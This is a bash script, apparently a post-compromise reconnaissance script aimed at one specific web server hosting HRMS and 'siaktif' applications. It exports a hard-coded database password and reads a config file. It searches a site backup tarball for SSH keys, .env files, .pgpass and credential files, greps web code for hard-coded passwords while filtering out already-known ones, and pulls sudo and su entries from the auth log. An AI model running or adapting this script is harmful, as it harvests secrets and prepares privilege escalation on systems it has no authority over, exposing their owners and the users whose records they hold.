#!/bin/bash
export PGPASSWORD=140984
echo ===OPT-HRMSABS-CONF===
cat /opt/hrmsabs.conf 2>&1
echo ===TARBALL-INTERESTING===
tar tzf /var/www/html/siaktif20260521.tar.gz 2>/dev/null | grep -iE '\.ssh|id_rsa|authorized_keys|\.env|deploy|\.git/config|\.pgpass|known_hosts|credentials' | head -40
echo ===TARBALL-ENV===
tar tzf /var/www/html/siaktif20260521.tar.gz 2>/dev/null | grep -iE '\.env$' | head -20
echo ===GREP-ABBAS-ALL===
grep -rniE 'abbasibnu' /var/www/html --include='*.php' --include='*.sh' --include='*.conf' --include='*.txt' --include='*.json' -l 2>/dev/null | head -20
echo ===GREP-SUDO-PASS-PATTERNS===
grep -rniE 'passwor(d|t)\s*[=:]\s*["'"'"']' /var/www/html/api* /var/www/html/HRMS/config /var/www/html/siaktif/config 2>/dev/null | grep -viE 'armasi|RAcHm|NenesSandra' | head -30
echo ===AUTHLOG-SUDO===
grep -iE 'sudo|su:' /var/log/auth.log 2>&1 | tail -30